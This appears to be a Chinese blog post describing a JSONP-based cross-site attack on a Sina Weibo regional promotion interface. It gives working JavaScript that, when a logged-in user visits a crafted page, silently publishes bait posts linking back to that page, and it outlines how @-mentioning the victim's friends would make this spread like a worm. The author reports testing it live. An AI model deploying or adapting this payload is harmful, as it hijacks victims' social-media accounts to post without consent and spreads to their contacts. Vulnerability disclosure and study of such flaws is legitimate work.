去年写了一篇关于jsonp信息泄漏的文章(http://i.wanz.im/2011/02/06/jsonp_user_info_leak/),利用腾讯的接口可以获取用户一些私密的个人信息。也是去年开始尝试使用新浪微博,虽然不怎么喜欢新浪微博的一些体验,但也一直用着,女同事们对各种微博活动都很狂热,最近一个ktv送vip卡的活动就被狂@到了,于是进去看了看,发现有个发微博@五位好友的发布框,可以选择好友,由于是新浪地方站点,发布微博和拉取好友的功能就必须跨域调用,看了下请求,确实是使用jsonp方式跨域,于是有了邪恶的想法。
既然使用了jsonp方式跨域调用,那么就是说只要用户是在新浪微博登录过的前提下,在任何页面访问这两个接口都是被授权的,那么我可以制作一个这样的页面,这个页面可以拉取当前访问者的好友列表,然后随机取几个好友,@他们,并发布一条诱惑性的微博。准备好这个页面后,我们可以用任何方式吸引用户去点击这个页面,之后的效果就会像微博活动一样,访问者会自动转发并@他们的好友,好友的好友看到了也去访问,最后这个微博就会像蠕虫一样扩散开来。
接下来就放出演示链接和关键代码,出于保护的目的,演示中不给出拉取好友的接口,相信懂的人可以自己挖掘并利用。
测试微博:http://weibo.com/1725812854/yjNq9uAZ4 ,在测试微博里可以找到测试代码页面。
引用所需的js
XHTML
12 | <script type= »text/javascript » src= »http://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.7.2.min.js »></script><script type= »text/javascript » src= »http://fj.sinaimg.cn/utils/API-pack.js »></script> |
编写对应的利用代码
JavaScript
var content = [‘嘿嘿,推荐大家收听@丸子-_- ,他写的这个东西很好玩,http://wanz.im/sinaworm.html’, ‘我擦,@丸子-_- 他写的这个东西太牛逼了,http://wanz.im/sinaworm.html’, ‘昂~@丸子-_- 他写的这个东西好羞色哟~,http://wanz.im/sinaworm.html’], pics = [« http://ww1.sinaimg.cn/bmiddle/7e7fc78bgw1ds88rpzhefj.jpg », »http://ww1.sinaimg.cn/bmiddle/7e7fc78bgw1ds88rpzhefj.jpg »], i = Math.floor(Math.random() * 2), pic = pics[i], success = function(json){ //window.location=’http://weibo.com/hiwanz’; }, failure = function(json){ //alert(json.errmsg); }, url = « http://common.fj.sina.com.cn/index.php/201205hgktv/weibolottery/publish?callback=? »; WBCMD(« post »,{content:content[Math.round(Math.random()*2)],pic:pic,atNum:1,filter:[],must:[],url:url},success,failure); |
我简单地发了这条毫无诱惑力测试微博,在半夜这种冷门的时间发,都被刷屏了,效果还不错,如果加入@功能,威力更大!!